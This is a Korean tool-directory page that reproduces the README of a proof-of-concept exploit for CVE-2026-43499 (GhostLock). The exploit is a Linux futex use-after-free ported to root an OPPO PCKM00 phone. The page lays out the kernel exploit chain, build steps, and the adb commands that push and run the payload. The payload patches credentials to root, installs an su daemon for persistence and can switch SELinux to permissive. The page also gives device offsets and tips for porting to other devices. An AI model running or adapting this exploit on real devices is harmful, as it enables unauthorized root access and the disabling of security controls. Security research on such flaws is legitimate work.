Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
GhostLock-OPPO-PCKM00 — CVE-2026-43499 GhostLock futex UAF LPE PoC for OPPO PCKM00 (SM6150) / Linux 4.14.180 | Kitploit
도구/GitHubGitHub/yijiacloud/ghostlock-oppo-pckm00
Android SecurityPrivilege EscalationPersistence MechanismsVulnerability AnalysisExploitationPost-ExploitationMobile SecurityPayload DevelopmentBinary Exploitation
GitHubyijiacloud/ghostlock-oppo-pckm00

GhostLock-OPPO-PCKM00

CVE-2026-43499 GhostLock futex UAF LPE PoC for OPPO PCKM00 (SM6150) / Linux 4.14.180

3829일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

GhostLock — OPPO PCKM00 (4.14.180) PoC

CVE-2026-43499 (GhostLock) — Linux 커널 futex 우선순위 상속(priority-inheritance) use-after-free 로컬 권한 상승 PoC로, **OPPO PCKM00 (OP4A57, SM6150, Android 11, 커널 4.14.180-perf+)**용으로 포팅되었습니다.

DISCLAIMER / 免责声明 이 프로젝트는 공인된 보안 연구 및 교육 목적으로만 사용하세요. 소유하지 않았거나 명시적으로 테스트 권한을 부여받지 않은 기기에서는 사용하지 마십시오. 익스플로잇 실행 시 커널이 크래시될 수 있습니다. 작성자는 오용이나 손해에 대해 책임을 지지 않습니다.

本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃,作者不承担任何滥用或损失的责任。


1. 취약점

CVE-2026-43499 (GhostLock)은 Linux 커널 futex 우선순위 상속 코드의 use-after-free 취약점입니다. 이 버그는 rt_mutex_start_proxy_lock()의 프록시 잠금 롤백 경로에서 remove_waiter()가 잘못 사용되는 데서 발생합니다. 해제된 rt_mutex_waiter(커널 스택에 할당됨)가 pselect()에 의해 복사된 공격자 제어 fd_set으로 재해석되어 임의 쓰기(arbitrary-write) 프리미티브를 제공합니다.

영향 범위: Linux 4.x–6.x (2011년 도입). 4.14 시리즈 전체 영향. 전체 분석 및 검증된 심볼 오프셋은 report.md를 참조하세요.

익스플로잇 체인

root@kitploit:~
futex requeue-pi UAF
   └─> pselect fd_set 스택 복사 (가짜 rt_mutex_waiter / 가짜 task)
         └─> 임의 쓰기 (rt_mutex 트리 연산 / sched_setattr)
               └─> ashmem_fops 덮어쓰기 -> configfs bin 읽기/쓰기
                     └─> pipe_buffer 페이지 재작성 (물리적 RW 프리미티브)
                           └─> 현재 task cred 패치 -> root

PoC는 LD_PRELOAD를 통해 전적으로 사용자 공간에서 실행됩니다 — 기기 재부팅이 필요 없습니다(커널 패닉이 발생하지 않는 한).


2. 대상

다른 4.14 기기로 포팅: exploit/targets/oppo-pckm00/target.h를 복사하고 커널 이미지에서 심볼 오프셋을 재생성하세요 (analysis/ 참조).


3. 저장소 구조

root@kitploit:~
.
├── report.md                    # 전체 취약점 분석 및 검증된 오프셋
├── exploit/
│   ├── Makefile                 # preload.so 빌드 (Windows NDK / WSL)
│   ├── src/
│   │   ├── preload.c            # LD_PRELOAD 진입점 + 강제 디스크 로깅 + su
│   │   ├── main.c               # 오케스트레이션 (waiter/owner/consumer 스레드)
│   │   ├── slide.c              # KASLR 누출 (boot_id / nfulnl 로거)
│   │   ├── fops.c               # ashmem_fops 덮어쓰기 + configfs 프리미티브
│   │   ├── pipe.c               # pipe_buffer physrw 프리미티브
│   │   ├── root.c               # task 탐색 + cred 패치 + seccomp/selinux
│   │   ├── util.c               # kernelsnitch, skb 페이지 준비, 커널 RW
│   │   ├── su_daemon.c          # 내장 su 서버 (드롭인)
│   │   ├── su_blob.S            # su_daemon의 .incbin
│   │   └── wallpaper_blob.S     # 배경화면 페이로드의 .incbin
│   ├── targets/oppo-pckm00/target.h   # 4.14.180 심볼/구조체 오프셋
│   └── assets/wallpaper.webp    # 내장 배경화면 페이로드
├── analysis/                    # 커널 이미지 / kallsyms 추출 스크립트
└── LICENSE                      # Apache-2.0 (업스트림 GhostLock과 동일)

4. 빌드

Android NDK r29 (aarch64-linux-android30-clang) 필요.

Windows NDK

root@kitploit:~
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%

WSL (권장)

root@kitploit:~
# NDK를 /opt/ndk/android-ndk-r29에 배치 (linux-x86_64 툴체인)
cd exploit
make wsl
# 또는 직접:
bash ../analysis/build_preload.sh

출력: exploit/preload.so (64비트 aarch64 ELF 공유 객체).

빌드는 또한 su_daemon.c를 PIE 바이너리로 컴파일하고 (배경화면과 함께) .S 블롭을 통해 .so에 내장합니다.


5. 사용법 (ADB)

5.1 페이로드 푸시

root@kitploit:~
# 바이너리만 (릴리스 자산 또는 로컬 빌드에서)
adb push preload.so /data/local/tmp/preload.so

# 또는 저장소 구조 사용
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so

5.2 실행

.so는 LD_PRELOAD를 통해 sh 프로세스에 로드됩니다. 생성자(constructor)가 전체 익스플로잇 체인을 실행하고 결과를 보고합니다:

root@kitploit:~
adb shell LD_PRELOAD=/data/local/tmp/preload.so id

성공 시 셸은 다음을 보고합니다:

root@kitploit:~
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0

현재 프로세스(및 그 자식 프로세스)는 이제 root입니다. su 데몬이 /apex/com.android.virt/bin/su에 설치되고(실패 시 /data/local/tmp/su로 폴백) 내장 배경화면이 지속성/검증 아티팩트로 적용됩니다.

5.3 검증

root@kitploit:~
# 실행 후 새 셸에서
adb shell su -c 'id'

# 또는 루트 셸 세션 확보 (대화형 su 클라이언트)
adb shell /data/local/tmp/su

# SELinux가 permissive로 전환되었는지 확인 (selinux 경로가 실행된 경우)
adb shell getenforce

5.4 강제 실시간 디스크 로깅

모든 pr_* 진단은 **/sdcard/Download/log_<timestamp>.txt**에도 기록됩니다 (실패 시 /data/local/tmp/log_<timestamp>.txt로 폴백). 모든 줄에 O_SYNC + fsync()가 적용되어 커널 패닉/재부팅 후에도 로그가 유지됩니다:

root@kitploit:~
adb pull /sdcard/Download/log_*.txt
# 또는 /sdcard가 초기에 마운트되지 않은 경우
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt

로그는 모든 단계(KASLR 슬라이드, fops 덮어쓰기, pipe physrw, cred 패치)와 최종 uid_after / ROOT OK 줄을 보여줍니다 — 문제 보고 시 첨부하세요.

5.5 정리

root@kitploit:~
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot   # SELinux/cred 상태 또는 배경화면이 수정된 경우

참고: 익스플로잇 실행 시 커널이 크래시될 수 있습니다. adb가 끊기면 기기가 재부팅될 때까지 기다린 후 /sdcard/Download/log_*.txt를 가져오세요 — 강제 O_SYNC/fsync 로깅이 바로 패닉 후에도 유지되는 부분입니다.


6. 참고 사항 및 제한 사항

  • KASLR: PoC는 boot_id/nfulnl 로거 경로(slide.c)와 ashmem_fops 검증 패스(fops.c)를 통해 슬라이드를 누출합니다.
  • 이 포트에서 처리된 4.14 vs 6.x 차이점:
    • configfs는 레거시 .read/.write 사용 (read_iter/write_iter 없음),
    • ashmem_fops에 show_fdinfo 없음,
    • generic_file_splice_read가 copy_splice_read를 대체,
    • selinux_enforcing은 struct selinux_state 내부에 위치,
    • 4.14 rt_mutex_waiter / / 레이아웃.

7. 크레딧

  • NebuSec — 원본 GhostLock 연구 및 익스플로잇 프레임워크 (IonStack/CVE-2026-43499), Apache-2.0. https://github.com/NebuSec/CyberMeowfia
  • KernelSnitch (futex 해시 사이드 채널)은 업스트림 조건에 따라 내장되었습니다.

라이선스

Apache-2.0 — LICENSE 참조.

도구 다운로드
필드값
기기OPPO PCKM00 / OP4A57
SoCQualcomm SM6150
Android11 (RKQ1.200903.002)
보안 패치2022-09-05
커널4.14.180-perf+ (arm64, clang 10.0.7)
빌드OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys
pipe_inode_info
cred
  • 일부 구조체 오프셋(예: task_struct.seccomp)은 최선의 추정치입니다. seccomp 패치 실패는 cred 덮어쓰기 root를 차단하지 않습니다.
  • 익스플로잇 실행 시 커널 패닉이 발생할 수 있습니다(대상 기기에서 약 5초 내 ~97% 신뢰도). 격리된 기기를 사용하세요.